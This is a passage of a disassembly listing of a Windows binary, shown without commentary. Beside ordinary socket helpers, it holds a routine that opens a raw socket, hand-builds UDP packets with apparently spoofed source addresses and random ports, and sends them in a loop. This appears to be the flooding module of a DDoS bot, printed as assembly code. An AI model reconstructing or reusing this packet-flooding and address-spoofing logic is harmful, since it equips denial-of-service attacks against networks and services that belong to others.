; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41EF48 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call dword_41709C ; Sleep mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 0 jz short 